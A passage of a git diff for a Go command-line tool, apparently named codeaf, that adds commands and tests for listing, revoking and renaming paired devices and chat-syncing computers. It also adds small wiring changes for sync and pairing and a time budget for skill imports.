computer +// already has chats of its own: replacing them is a flag of the terminal command +// and never a keystroke in a chat. +func (chatPairDoor) Join(ctx context.Context, typed string, ui pair.JoinUI) (pair.Joined, error) { + route, err := pairMailbox("") + if err != nil { + return pair.Joined{}, err + } + return pair.Join(ctx, route, pairJoining(false), typed, ui) +} diff --git a/cmd/codeaf/chatv3_process.go b/cmd/codeaf/chatv3_process.go index f8b86d940e..de2cccd562 100644 --- a/cmd/codeaf/chatv3_process.go +++ b/cmd/codeaf/chatv3_process.go @@ -637,6 +637,11 @@ func (p *v3Process) closeAll() { } waiting.Wait() + // THE DRIVE SIDE OF EACH CHAT ENDS AFTER ITS CONVERSATION DID, so the last + // seal is already noted when the final publish runs, and every lease is + // given back on this one road out. + syncDrives.closeAll() + // The ledger's background writer is drained AFTER the agents have closed, // because closing an agent can seal a last turn and a seal records a line. // It is the same bargain the recall store's Close makes one line below: a @@ -901,7 +906,8 @@ func (s *v3Seam) bundle(agent v3Live, launch *v3Launch, cfg session.Config, Owned: cfg.Place.Owned, AnchorWorkspace: anchor, Resumed: resumed, - Notice: notice, + Seal: sealSeamOf(agent, cfg.Seals), + Notice: v3Interrupted(cfg, notice), ContextWindow: cfg.ContextWindow, DraftFile: draft, History: recall, diff --git a/cmd/codeaf/chatv3_session_test.go b/cmd/codeaf/chatv3_session_test.go index 6d33e3f7bc..692265a4fd 100644 --- a/cmd/codeaf/chatv3_session_test.go +++ b/cmd/codeaf/chatv3_session_test.go @@ -2,6 +2,7 @@ package main import ( "errors" + "github.com/Agent-Field/codeaf/internal/cell" "path/filepath" "strings" "testing" @@ -87,9 +88,14 @@ func TestASecondWindowOnALockedSessionIsRefusedAndNamesTheWayOut(t *testing.T) { } } -// sessionBucket is the project directory above one session folder. +// sessionBucket is the project directory above one session folder. A cell keeps +// its journal one level deeper, in .cell/, so the folder is found past that. func sessionBucket(transcript string) string { - return filepath.Dir(filepath.Dir(transcript)) + folder := filepath.Dir(transcript) + if filepath.Base(folder) == cell.StateDir { + folder = filepath.Dir(folder) + } + return filepath.Dir(folder) } // An error that is NOT the lock is still an error: the fallback is for one diff --git a/cmd/codeaf/chatv3_skillbudget_test.go b/cmd/codeaf/chatv3_skillbudget_test.go new file mode 100644 index 0000000000..753d4f3d3e --- /dev/null +++ b/cmd/codeaf/chatv3_skillbudget_test.go @@ -0,0 +1,32 @@ +package main + +import ( + "testing" + "time" +) + +// A skill folder that is a link into a place the operating system gates behind +// a permission prompt makes open(2) block with no way to cancel it. The launch +// must still draw its first frame, so the import pass is given a budget and the +// conversation opens without that shelf when the budget runs out. +func TestSkillImportBudgetReleasesTheLaunchFromAStuckPass(t *testing.T) { + stuck := make(chan struct{}) + defer close(stuck) + + started := time.Now() + finished := runWithinBudget(50*time.Millisecond, func() { <-stuck }) + + if finished { + t.Fatal("a pass that never returns was reported as finished") + } + if took := time.Since(started); took > 2*time.Second { + t.Fatalf("the launch waited %v on a stuck pass", took) + } +} + +func TestSkillImportBudgetWaitsForAPassThatFinishes(t *testing.T) { + ran := false + if !runWithinBudget(time.Second, func() { ran = true }) || !ran { + t.Fatal("a quick pass was not waited for") + } +} diff --git a/cmd/codeaf/chatv3_surface.go b/cmd/codeaf/chatv3_surface.go index 53d29f440b..6dae0e3cf8 100644 --- a/cmd/codeaf/chatv3_surface.go +++ b/cmd/codeaf/chatv3_surface.go @@ -7,6 +7,7 @@ import ( "github.com/Agent-Field/codeaf/internal/buildinfo" internalenv "github.com/Agent-Field/codeaf/internal/env" + "github.com/Agent-Field/codeaf/internal/home" "github.com/Agent-Field/codeaf/internal/tui3" codeupdate "github.com/Agent-Field/codeaf/internal/update" ) @@ -55,6 +56,9 @@ func runSurface(ctx context.Context, options tui3.Options) error { restart = &codeupdate.Plan{} options.Restart = restart } + wireSync(&options) + options.Pairing = chatPairDoor{} + options.Approvals = newApprovalsDoor(home.Dir()) options.UpdateRunning = revision options.UpdateCurl = curl options.UpdateArgs = surfaceArguments() diff --git a/cmd/codeaf/codeaf b/cmd/codeaf/codeaf new file mode 100755 index 0000000000..415b6d40b7 Binary files /dev/null and b/cmd/codeaf/codeaf differ diff --git a/cmd/codeaf/devices.go b/cmd/codeaf/devices.go new file mode 100644 index 0000000000..e3276ff761 --- /dev/null +++ b/cmd/codeaf/devices.go @@ -0,0 +1,395 @@ +package main + +// ── the door: codeaf devices ──────────────────────────────────────────────── +// +// TWO KINDS OF DEVICE, ONE DOOR. A computer can hold the person's chats (it was +// paired with `codeaf pair`) and a device can be let in to use this machine (it +// was paired with `codeaf serve`). They are different powers with different +// undo, so they are listed under two headings, but a person who wants one gone +// types one verb, `codeaf devices revoke `, and never asks which kind it +// was. Each kind is a [deviceKind]; the door only knows the interface, so a +// third kind is one more type and not one more branch. +// +// THE EMPTINESS LAW: a kind with nothing in it has no heading, and a machine +// with nothing of either kind says one sentence ([pair.NoDevices]). + +import ( + "cmp" + "context" + "errors" + "fmt" + "os" + "slices" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/syncsetup" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// deviceKind is one kind of device the door lists and stops. +type deviceKind interface { + // table is the kind's heading and rows, or "" when it has none. + table(now time.Time) (string, error) + // find counts the devices of this kind that answer to name. + find(name string) (int, error) + // stop stops the one device of this kind that answers to name and returns + // the sentence that says so. + stop(name string) (string, error) +} + +// allStopper is a kind that can stop every device answering to one name. Only +// the remote-access kind can: two laptops with one host name are common there, +// and each is a key the person can tell apart no other way. +type allStopper interface { + stopAll(name string) (string, error) +} + +// runDevices lists the devices of both kinds, or stops one. +// +// BOTH THE LIST AND THE STOPPING ANSWER ABOUT THE MACHINE THEY ARE TYPED ON. +// A remote device cannot list itself out of somebody's machine and cannot stop +// another device; a computer that holds the chats may stop another of the same +// person's, because the person owns both. +func runDevices(args []string) error { + kinds := openDeviceKinds() + switch { + case len(args) > 0 && args[0] == "revoke": + return stopDevice(kinds, args[1:]) + case len(args) > 0 && args[0] == "rename": + return runDevicesRename(args[1:]) + case askedForHelp(args): + return commandHelp("devices") + case len(args) > 0: + return fmt.Errorf("usage: codeaf devices [revoke [--all] | rename ]") + } + return listDevices(kinds, time.Now()) +} + +// revokeDevice stops one remote-access device, or every one answering to one +// name. It is the door's verb over the book alone, kept for callers that hold +// only a book. +func revokeDevice(book *pair.Book, args []string) error { + return stopDevice([]deviceKind{bookKind{book}}, args) +} + +// openDeviceKinds is the kinds this machine has: the computers that hold the +// chats only when sync is on and there is an identity, and always the devices +// let in to use this machine. +func openDeviceKinds() []deviceKind { + kinds := []deviceKind{} + if chats, ok := openChatsKind(); ok { + kinds = append(kinds, chats) + } + return append(kinds, bookKind{pair.DeviceBook()}) +} + +// listDevices prints every kind's table, or the one sentence when none has rows. +func listDevices(kinds []deviceKind, now time.Time) error { + var tables []string + for _, kind := range kinds { + table, err := kind.table(now) + if err != nil { + return err + } + if table != "" { + tables = append(tables, table) + } + } + if len(tables) == 0 { + fmt.Println(pair.NoDevices) + return nil + } + fmt.Print(strings.Join(tables, "\n")) + return nil +} + +// stopDevice reads `revoke [--all]` and stops the device that answers to +// the name. +// +// --ALL IS A FLAG LIKE EVERY OTHER FLAG IN THIS BINARY. It used to be read by +// hand, and only when it was the FIRST word after `revoke`, so `codeaf devices +// revoke laptop --all` was refused — with a usage line that did not mention +// `--all` at all. A person taking back access to their own machine was told the +// wrong grammar for the gesture they had just typed correctly. Through +// [commandFlags] and [reorder] it is accepted in either position, printed by +// `codeaf devices revoke --help`, and named in the one usage table. +func stopDevice(kinds []deviceKind, args []string) error { + flags := commandFlags("devices revoke") + all := flags.Bool("all", false, "remove every device of that name that can use this machine, not just the one") + if err := parseCommandFlags(flags, reorder(flags, args)); err != nil { + return err + } + if flags.NArg() != 1 { + return errors.New("usage: codeaf devices revoke [--all] — `codeaf devices` lists the names") + } + name := flags.Arg(0) + said, err := stopByName(kinds, name, *all) + if err != nil { + return err + } + fmt.Println(said) + return nil +} + +// stopByName finds the one kind that has the name and stops it there. With +// --all the name is taken to mean the kind that can stop several at once. +func stopByName(kinds []deviceKind, name string, all bool) (string, error) { + if all { + return stopAllByName(kinds, name) + } + kind, err := kindOf(kinds, name) + if err != nil { + return "", err + } + return kind.stop(name) +} + +func stopAllByName(kinds []deviceKind, name string) (string, error) { + for _, kind := range kinds { + if many, ok := kind.(allStopper); ok { + return many.stopAll(name) + } + } + return "", unknownDevice(name) +} + +// kindOf is the one kind that has a device called name. A name in two kinds is +// as ambiguous as two in one, and is answered the same way: say so, and point at +// the list. +func kindOf(kinds []deviceKind, name string) (deviceKind, error) { + var hits []deviceKind + var failed error + for _, kind := range kinds { + n, err := kind.find(name) + failed = cmp.Or(failed, err) + if n > 0 { + hits = append(hits, kind) + } + } + switch { + case len(hits) == 1: + return hits[0], nil + case len(hits) > 1: + return nil, fmt.Errorf("more than one device is called %q, so the name cannot pick one — `codeaf devices` lists them", name) + case failed != nil: + return nil, failed + } + return nil, unknownDevice(name) +} + +func unknownDevice(name string) error { + return fmt.Errorf("no device is called %q — `codeaf devices` lists the ones there are", name) +} + +// ── devices that can use this machine ─────────────────────────────────────── + +// bookKind is the devices this machine has let in (`codeaf serve`), and the +// machines this device can reach, which are listed with them because a person +// asking "what am I paired with" means both directions. +type bookKind struct{ book *pair.Book } + +func (b bookKind) table(now time.Time) (string, error) { + paired, err := b.book.Devices() + if err != nil { + return "", err + } + known, err := pair.Machines() + if err != nil { + return "", err + } + letIn, err := b.letIn(paired, now) + return strings.TrimLeft(letIn+pair.MachinesList(known, now), "\n"), err +} + +// letIn is the table of devices let in, or "" when there are none. The machine's +// own name is only worth saying when there is a device it matters to. +func (bookKind) letIn(paired []pair.Paired, now time.Time) (string, error) { + if len(paired) == 0 { + return "", nil + } + device, err := pair.ThisDevice(pair.OpenKeeper()) + if err != nil { + return "", err + } + return pair.DevicesList(device.Name(), paired, pair.OpenKeeper(), now), nil +} + +func (b bookKind) find(name string) (int, error) { + paired, err := b.book.Devices() + return countCalled(paired, name, func(p pair.Paired) string { return p.Label }), err +} + +func (b bookKind) stop(name string) (string, error) { + gone, err := b.book.Revoke(name) + if err != nil { + return "", err + } + return pair.RevokedLine(gone.Label), nil +} + +// stopAll answers a single device in the plain form's own sentence, because one +// device stopped is one device stopped whichever flag was typed. +func (b bookKind) stopAll(name string) (string, error) { + count, err := b.book.RevokeAll(name) + switch { + case err != nil: + return "", err + case count == 1: + return pair.RevokedLine(name), nil + } + return fmt.Sprintf("%d devices called %s were removed — each needs a new pairing code to come back.", count, name), nil +} + +// countCalled counts the items whose label is name, ignoring case as the book does. +func countCalled[T any](items []T, name string, label func(T) string) int { + n := 0 + for _, item := range items { + if strings.EqualFold(label(item), name) { + n++ + } + } + return n +} + +// ── devices with your chats ───────────────────────────────────────────────── + +// chatsKind is the computers that hold the person's chats: the Device records of +// their identity in the relay's directory. Nothing is cached, so a listing and a +// stop each see the directory as it is now. +type chatsKind struct { + dir directory.Client + key []byte // opens the sealed names + self string // this computer's device id + relay string // named when the relay cannot be reached +} + +// openChatsKind is the kind for this machine, and false when it has none: sync +// off, or no identity yet. Both are the emptiness law, not an error, so the +// heading is simply absent. +func openChatsKind() (chatsKind, bool) { + s, ok, err := syncsetup.Open(home.Dir()) + if err != nil || !ok { + return chatsKind{}, false + } + return chatsKindOf(s.Dir, s.Identity.CellKey(), s.Device.ID(), s.Relay), true +} + +func chatsKindOf(dir directory.Client, cellKey []byte, self, relay string) chatsKind { + return chatsKind{dir: dir, key: directory.MetadataKey(cellKey), self: self, relay: relay} +} + +// chatsRow is one computer: what the table shows, and the id the directory knows +// it by. +type chatsRow struct { + pair.ChatsDevice + id string +} + +// listRequestWithin bounds one request to the relay so a silent one cannot hang +// the command. +const listRequestWithin = 20 * time.Second + +func (c chatsKind) rows() ([]chatsRow, error) { + ctx, cancel := context.WithTimeout(context.Background(), listRequestWithin) + defer cancel() + l, err := c.dir.List(ctx) + if err != nil { + return nil, c.explain(err) + } + open := func(sealed string) (string, error) { return directory.OpenName(c.key, sealed) } + rows := make([]chatsRow, 0, len(l.Devices)) + for id, d := range l.Devices { + rows = append(rows, chatsRow{ + ChatsDevice: pair.ChatsDevice{Name: chatlist.DeviceName(l.Devices, id, open), This: id == c.self, Stopped: d.Revoked}, + id: id, + }) + } + // This computer first, removed ones last, then by name: the order the chat's list uses. + slices.SortFunc(rows, func(a, b chatsRow) int { + return cmp.Or(cmp.Compare(rank(a.Stopped), rank(b.Stopped)), -cmp.Compare(rank(a.This), rank(b.This)), cmp.Compare(a.Name, b.Name), cmp.Compare(a.id, b.id)) + }) + return rows, nil +} + +// rank is a bool as the number a sort can compare. +func rank(b bool) int { + if b { + return 1 + } + return 0 +} + +func (c chatsKind) table(time.Time) (string, error) { + rows, err := c.rows() + if err != nil { + // The other kind is still worth showing when the relay is not answering. + fmt.Fprintln(os.Stderr, "your devices cannot be listed now:", err) + return "", nil + } + // A list of only this computer says nothing a person did not know. + if len(rows) == 0 || (len(rows) == 1 && rows[0].This) { + return "", nil + } + shown := make([]pair.ChatsDevice, len(rows)) + for i, row := range rows { + shown[i] = row.ChatsDevice + } + return pair.ChatsDevicesList(shown), nil +} + +func (c chatsKind) called(name string) ([]chatsRow, error) { + rows, err := c.rows() + return slices.DeleteFunc(rows, func(r chatsRow) bool { return !strings.EqualFold(r.Name, name) }), err +} + +func (c chatsKind) find(name string) (int, error) { + rows, err := c.called(name) + return len(rows), err +} + +func (c chatsKind) stop(name string) (string, error) { + rows, err := c.called(name) + switch { + case err != nil: + return "", err + case len(rows) > 1: + return "", fmt.Errorf("more than one of your devices is called %q, so the name cannot pick one — `codeaf devices` lists them", name) + case len(rows) == 0: + return "", unknownDevice(name) + case rows[0].Stopped: + return rows[0].Name + " is already removed.", nil + } + return c.revoke(rows[0]) +} + +func (c chatsKind) revoke(row chatsRow) (string, error) { + if row.This { + return "", errors.New("that is this device — remove it from another of your devices instead") + } + ctx, cancel := context.WithTimeout(context.Background(), listRequestWithin) + defer cancel() + if err := c.dir.Revoke(ctx, row.id); err != nil { + return "", c.explain(err) + } + return pair.ChatsRevokedLine(row.Name), nil +} + +// explain turns the directory's errors into the sentence a person reads. +func (c chatsKind) explain(err error) error { + switch { + case errors.Is(err, directory.ErrRevoked): + return errors.New("this device was removed by another of your devices, so it can no longer reach your chats — run `codeaf pair` to bring it back") + case errors.Is(err, wireauth.ErrSkew): + return errors.New(chatlist.ClockOff) + case errors.Is(err, directory.ErrUnreachable): + return fmt.Errorf("the sync service at %s cannot be reached from here — check this computer's network", c.relay) + case errors.Is(err, directory.ErrNotFound): + return errors.New("that device is not in your list any more — `codeaf devices` shows the ones there are") + } + return err +} diff --git a/cmd/codeaf/devices_revoked_test.go b/cmd/codeaf/devices_revoked_test.go new file mode 100644 index 0000000000..1c110531ba --- /dev/null +++ b/cmd/codeaf/devices_revoked_test.go @@ -0,0 +1,50 @@ +package main + +import ( + "context" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// A device stopped from another computer is a "revoked" row in the device list the next time it is +// read, on every computer, with no way to take it for an ordinary one. +func TestRevokedDeviceReadsAsRevokedOnEveryComputer(t *testing.T) { + m := directory.NewMemory(time.Now) + ctx := context.Background() + key := []byte("0123456789abcdef0123456789abcdef") + for _, id := range []string{"dev_a", "dev_b", "dev_c"} { + sealed, _ := directory.SealName(directory.MetadataKey(key), id) + if err := m.For(id).PutDevice(ctx, id, directory.Device{V: 1, Name: sealed, Platform: "darwin"}); err != nil { + t.Fatal(err) + } + } + if err := m.For("dev_a").Revoke(ctx, "dev_b"); err != nil { + t.Fatal(err) + } + for _, viewer := range []string{"dev_a", "dev_c"} { + l, err := m.For(viewer).List(ctx) + if err != nil { + t.Fatal(err) + } + for _, row := range rowsOf(l, directory.MetadataKey(key), viewer) { + if want := row.ID == "dev_b"; row.Revoked != want { + t.Errorf("seen from %s, %s Revoked = %v", viewer, row.ID, row.Revoked) + } + } + } +} + +// A name sealed by a build from before devices were named carries the macOS ".local"; the device +// list reads it like every other label does. +func TestOpenNameDropsTheLocalSuffixLikeEveryOtherLabel(t *testing.T) { + key := []byte("0123456789abcdef0123456789abcdef") + sealed, err := directory.SealName(directory.MetadataKey(key), "studio.local") + if err != nil { + t.Fatal(err) + } + if got := openName(directory.MetadataKey(key), sealed); got != "studio" { + t.Fatalf("openName = %q", got) + } +} diff --git a/cmd/codeaf/devices_test.go b/cmd/codeaf/devices_test.go new file mode 100644 index 0000000000..ded1f0f2e3 --- /dev/null +++ b/cmd/codeaf/devices_test.go @@ -0,0 +1,192 @@ +package main + +import ( + "bytes" + "context" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/pair" +) + +const ( + thisComputer = "dev_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + otherComputer = "dev_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" +) + +var devicesCtx = context.Background() + +// chatsWith is a directory holding this computer and one other, both named the +// way a real device names itself: sealed under the metadata key. +func chatsWith(t *testing.T, other string) (chatsKind, directory.Client) { + t.Helper() + cellKey := bytes.Repeat([]byte{7}, 32) + dir := directory.NewMemory(time.Now) + for id, name := range map[string]string{thisComputer: "desk", otherComputer: other} { + sealed, err := directory.SealName(directory.MetadataKey(cellKey), name) + if err != nil { + t.Fatal(err) + } + if err := dir.For(id).PutDevice(devicesCtx, id, directory.Device{V: 1, Name: sealed}); err != nil { + t.Fatal(err) + } + } + return chatsKindOf(dir.For(thisComputer), cellKey, thisComputer, "https://relay.example"), dir.For(thisComputer) +} + +// bookWith is a book of remote devices let in, and a fresh home to keep this +// machine's own key in. +func bookWith(t *testing.T, labels ...string) *pair.Book { + t.Helper() + t.Setenv("CODEAF_HOME", t.TempDir()) + book := pair.BookAt(filepath.Join(t.TempDir(), "devices.json")) + for i, label := range labels { + if err := book.Admit(pair.Paired{Label: label, Key: strings.Repeat("k", i+1), Since: time.Now()}); err != nil { + t.Fatal(err) + } + } + return book +} + +func listed(t *testing.T, kinds ...deviceKind) string { + t.Helper() + printed, err := captureStdout(t, func() error { return listDevices(kinds, time.Now()) }) + if err != nil { + t.Fatal(err) + } + return printed +} + +// `codeaf devices` lists both kinds under their two headings, in that order, +// and one `revoke ` stops either. +func TestDevicesBothKinds(t *testing.T) { + chats, dir := chatsWith(t, "laptop") + kinds := []deviceKind{chats, bookKind{bookWith(t, "phone")}} + + printed := listed(t, kinds...) + first, second := strings.Index(printed, "your devices"), strings.Index(printed, "devices that can use this machine") + if first < 0 || second < first { + t.Fatalf("the two headings are missing or out of order:\n%s", printed) + } + for _, want := range []string{"laptop", "this device", "phone"} { + if !strings.Contains(printed, want) { + t.Errorf("the list lacks %q:\n%s", want, printed) + } + } + + if _, err := captureStdout(t, func() error { return stopDevice(kinds, []string{"laptop"}) }); err != nil { + t.Fatalf("stopping a computer that holds the chats: %v", err) + } + l, err := dir.List(devicesCtx) + if err != nil || !l.Devices[otherComputer].Revoked || l.Devices[thisComputer].Revoked { + t.Fatalf("directory after the stop: %+v, %v", l.Devices, err) + } + if after := listed(t, kinds...); !strings.Contains(after, "removed") { + t.Fatalf("a stopped computer is not marked:\n%s", after) + } + + if _, err := captureStdout(t, func() error { return stopDevice(kinds, []string{"phone"}) }); err != nil { + t.Fatalf("stopping a device that can use this machine: %v", err) + } + if left, _ := kinds[1].(bookKind).book.Devices(); len(left) != 0 { + t.Fatalf("the remote device is still let in: %v", left) + } +} + +// A kind with nothing in it has no heading, and a machine with nothing of +// either kind says one sentence. +func TestDevicesEmptinessLaw(t *testing.T) { + chats, _ := chatsWith(t, "laptop") + only := listed(t, chats, bookKind{bookWith(t)}) + if strings.Contains(only, "devices that can use this machine") { + t.Fatalf("an empty kind still has its heading:\n%s", only) + } + if none := listed(t, bookKind{bookWith(t)}); strings.TrimSpace(none) != pair.NoDevices { + t.Fatalf("nothing paired said %q, want the one sentence", none) + } +} + +// A name that two devices answer to, or nobody does, or that is this computer, +// is one sentence that points at the list. +func TestDevicesRevokeNamesThatCannotPickOne(t *testing.T) { + chats, dir := chatsWith(t, "phone") + kinds := []deviceKind{chats, bookKind{bookWith(t, "phone")}} + for name, want := range map[string]string{"phone": "more than one", "ghost": "no device is called", "desk": "this device"} { + _, err := captureStdout(t, func() error { return stopDevice(kinds, []string{name}) }) + if err == nil || !strings.Contains(err.Error(), want) { + t.Errorf("revoke %s: %v, want a sentence with %q", name, err, want) + } + } + if l, _ := dir.List(devicesCtx); l.Devices[otherComputer].Revoked || l.Devices[thisComputer].Revoked { + t.Fatalf("a refused name still stopped a computer: %+v", l.Devices) + } + // --all is the remote-access kind's word, so the name means that kind. + if _, err := captureStdout(t, func() error { return stopDevice(kinds, []string{"phone", "--all"}) }); err != nil { + t.Fatal(err) + } + if l, _ := dir.List(devicesCtx); l.Devices[otherComputer].Revoked { + t.Fatal("--all stopped a computer that holds the chats") + } +} + +// What stopping cannot do is said where a person looks for it: in the sentence +// after the stop and in the help. Neither names a command that does not exist. +func TestDevicesRevokeText(t *testing.T) { + chats, _ := chatsWith(t, "laptop") + said, err := captureStdout(t, func() error { return stopDevice([]deviceKind{chats}, []string{"laptop"}) }) + if err != nil { + t.Fatal(err) + } + // The front page has no room for the whole warning, so its line says that + // stopping cannot undo what the computer holds, and the sentence after a + // stop says what that means for a stolen one. + says := map[string][]string{ + usageForCommand("devices revoke"): {"cannot undo"}, + said: {"cannot undo", "treat your chats as exposed", "codeaf identity rotate"}, + } + for text, wants := range says { + for _, want := range wants { + if !strings.Contains(text, want) { + t.Errorf("%q does not say %q", text, want) + } + } + } +} + +// This computer is listed first and a removed one last, whatever the names sort +// to, so the row a person is typing on is always where the eye starts. +func TestChatsTableListsThisComputerFirst(t *testing.T) { + kind, dir := chatsWith(t, "atlas") + rows, err := kind.rows() + if err != nil || len(rows) != 2 || !rows[0].This || rows[1].Name != "atlas" { + t.Fatalf("rows were %+v (%v), want this computer ahead of atlas", rows, err) + } + if err := dir.Revoke(devicesCtx, otherComputer); err != nil { + t.Fatal(err) + } + table, _ := kind.table(time.Now()) + if strings.Index(table, "desk") > strings.Index(table, "atlas") || !strings.Contains(table, "removed") { + t.Fatalf("the table was:\n%s\nwant desk first and atlas marked removed", table) + } +} + +// A list holding only this computer says nothing a person did not know, so it +// is not drawn and the one sentence takes its place. +func TestChatsTableOfOnlyThisComputerIsAbsent(t *testing.T) { + cellKey := bytes.Repeat([]byte{7}, 32) + dir := directory.NewMemory(time.Now) + sealed, err := directory.SealName(directory.MetadataKey(cellKey), "desk") + if err != nil { + t.Fatal(err) + } + if err := dir.For(thisComputer).PutDevice(devicesCtx, thisComputer, directory.Device{V: 1, Name: sealed}); err != nil { + t.Fatal(err) + } + kind := chatsKindOf(dir.For(thisComputer), cellKey, thisComputer, "https://relay.example") + if table, err := kind.table(time.Now()); table != "" || err != nil { + t.Fatalf("a lone computer drew %q (%v), want nothing", table, err) + } +} diff --git a/cmd/codeaf/devrename.go b/cmd/codeaf/devrename.go new file mode 100644 index 0000000000..3bebfb8537 --- /dev/null +++ b/cmd/codeaf/devrename.go @@ -0,0 +1,77 @@ +package main + +// ── naming this computer: `codeaf devices rename ` ──────────────────── +// +// THE NAME IS KEPT HERE FIRST AND TOLD TO THE FLEET SECOND. A rename that +// needed the network would fail on a plane, and a name that was typed and then +// lost would be a person typing it twice; so the name is written to this +// computer's home, and the same upsert every chat start makes ([syncsetup.Sync.Rename]) +// carries it to the other devices when it can. If it cannot, the next chat +// start does, and the sentence says so. +// +// A device only ever writes its own record, so this verb names the computer it +// is typed on and no other. + +import ( + "context" + "errors" + "fmt" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// renameWithin bounds the one request a rename makes, so a silent relay cannot +// hang the command. +const renameWithin = 20 * time.Second + +// renameThisDevice keeps typed as the name of the computer whose home is dir, +// tells the fleet when it may, and returns the sentence a person reads. +func renameThisDevice(ctx context.Context, dir, typed string) (string, error) { + name, err := devname.Set(dir, typed) + if err != nil { + return "", err + } + if !syncsetup.MayTalk(dir) { + return pair.RenamedAloneLine(name), nil + } + if tellFleet(ctx, dir, name) != nil { + return pair.RenamedHereLine(name), nil + } + return pair.RenamedLine(name), nil +} + +// tellFleet puts the new name in the directory, and says why not when it cannot. +func tellFleet(ctx context.Context, dir, name string) error { + s, ok, err := syncsetup.Open(dir) + if err != nil || !ok { + return errors.Join(err, errors.New("sync is off")) + } + ctx, cancel := context.WithTimeout(ctx, renameWithin) + defer cancel() + return s.Rename(ctx, name) +} + +// runDevicesRename is `codeaf devices rename `. The name may be several +// words, typed with or without quotes. +func runDevicesRename(args []string) error { + // Its own usage entry names the command; it takes no flags of its own. + flags := commandFlags("devices rename") + if err := parseCommandFlags(flags, reorder(flags, args)); err != nil { + return err + } + typed := strings.Join(flags.Args(), " ") + if strings.TrimSpace(typed) == "" { + return errors.New("usage: codeaf devices rename \u2014 " + devname.ErrEmpty.Error()) + } + said, err := renameThisDevice(context.Background(), home.Dir(), typed) + if err != nil { + return err + } + fmt.Println(said) + return nil +} diff --git a/cmd/codeaf/devrename_test.go b/cmd/codeaf/devrename_test.go new file mode 100644 index 0000000000..b4127516b0 --- /dev/null +++ b/cmd/codeaf/devrename_test.go @@ -0,0 +1,146 @@ +package main + +import ( + "context" + "errors" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/pair" +) + +// A computer that is not paired with anything keeps the name and says nobody +// needs telling yet; it never reaches for the sync service. +func TestRenameOnAComputerWithNoFleetKeepsTheNameHere(t *testing.T) { + dir := t.TempDir() + t.Setenv("CODEAF_HOME", dir) + t.Setenv("CODEAF_SYNC_URL", "off") + + said, err := renameThisDevice(context.Background(), dir, " atlas ") + if err != nil { + t.Fatal(err) + } + if said != pair.RenamedAloneLine("atlas") || devname.Name(dir) != "atlas" || deviceName() != "atlas" { + t.Fatalf("said %q, name %q, deviceName %q", said, devname.Name(dir), deviceName()) + } +} + +func TestARefusedRenameKeepsTheOldNameAndSaysWhy(t *testing.T) { + dir := t.TempDir() + t.Setenv("CODEAF_HOME", dir) + if _, err := devname.Set(dir, "atlas"); err != nil { + t.Fatal(err) + } + for typed, want := range map[string]error{"": devname.ErrEmpty, strings.Repeat("x", 33): devname.ErrTooLong, "a\nb": devname.ErrControl} { + if _, err := renameThisDevice(context.Background(), dir, typed); !errors.Is(err, want) { + t.Errorf("rename to %q: %v, want %v", typed, err, want) + } + } + if devname.Name(dir) != "atlas" { + t.Fatalf("a refused rename changed the name to %q", devname.Name(dir)) + } +} + +func TestDevicesRenameTakesSeveralWordsAndAnEmptyNameIsUsage(t *testing.T) { + dir := t.TempDir() + t.Setenv("CODEAF_HOME", dir) + t.Setenv("CODEAF_SYNC_URL", "off") + if _, err := captureStdout(t, func() error { return runDevices([]string{"rename", "kitchen", "laptop"}) }); err != nil { + t.Fatal(err) + } + if devname.Name(dir) != "kitchen laptop" { + t.Fatalf("name = %q", devname.Name(dir)) + } + if err := runDevices([]string{"rename"}); err == nil || !strings.Contains(err.Error(), "usage: codeaf devices rename") { + t.Fatalf("an empty rename ended with %v", err) + } +} + +// `codeaf pair --name` keeps the name before any relay is looked up, so a bad +// name stops the pairing with its reason and nothing is sent. +func TestPairNameFlagIsKeptAndSentAsTheJoiningLabel(t *testing.T) { + dir := t.TempDir() + t.Setenv("CODEAF_HOME", dir) + t.Setenv("CODEAF_SYNC_URL", "off") + + err := newPairDoor(strings.NewReader(""), &pairScreenText{}).run(context.Background(), []string{"--name", "atlas", "42-715-302"}) + if !errors.Is(err, pair.ErrSyncOff) { + t.Fatalf("the pairing ended with %v, want it to reach the relay check", err) + } + if got := pairJoiningAt(dir)(false).Label; got != "atlas" { + t.Fatalf("the joining label is %q, want the typed name", got) + } + + err = newPairDoor(strings.NewReader(""), &pairScreenText{}).run(context.Background(), []string{"--name", "bad\x00name", "42-715-302"}) + if !errors.Is(err, devname.ErrControl) { + t.Fatalf("a bad name ended with %v", err) + } + if devname.Name(dir) != "atlas" { + t.Fatalf("a refused --name changed the name to %q", devname.Name(dir)) + } +} + +// A person at a terminal who has never named this computer is asked once, with +// the host name filled in; Enter keeps it and writes nothing, a name is kept, and +// a bad one is refused and asked again. +func TestAJoinAsksForANameAndEnterKeepsTheHostName(t *testing.T) { + cases := []struct { + typed, want string + chosen bool + }{ + {"\n", devname.Default(), false}, + {"studio\n", "studio", true}, + {"bad\x00\ngood name\n", "good name", true}, + } + for _, c := range cases { + dir := t.TempDir() + t.Setenv("CODEAF_HOME", dir) + out := &pairScreenText{} + d := pairDoor{term: newTerminal(strings.NewReader(c.typed), out), asksName: true} + if err := d.naming(context.Background(), "", nil, false); err != nil { + t.Fatal(err) + } + if _, chosen := devname.Chosen(dir); chosen != c.chosen || devname.Name(dir) != c.want { + t.Errorf("typed %q: name %q chosen %t, want %q %t", c.typed, devname.Name(dir), chosen, c.want, c.chosen) + } + if !strings.Contains(out.String(), pair.NamePrompt(devname.Default())) { + t.Errorf("typed %q: the question was not asked:\n%s", c.typed, out.String()) + } + } +} + +// The question is for a join that has no name yet: not for the device that shows +// a code or approves, not when the computer already has a name, and not when +// nobody is at a terminal. +func 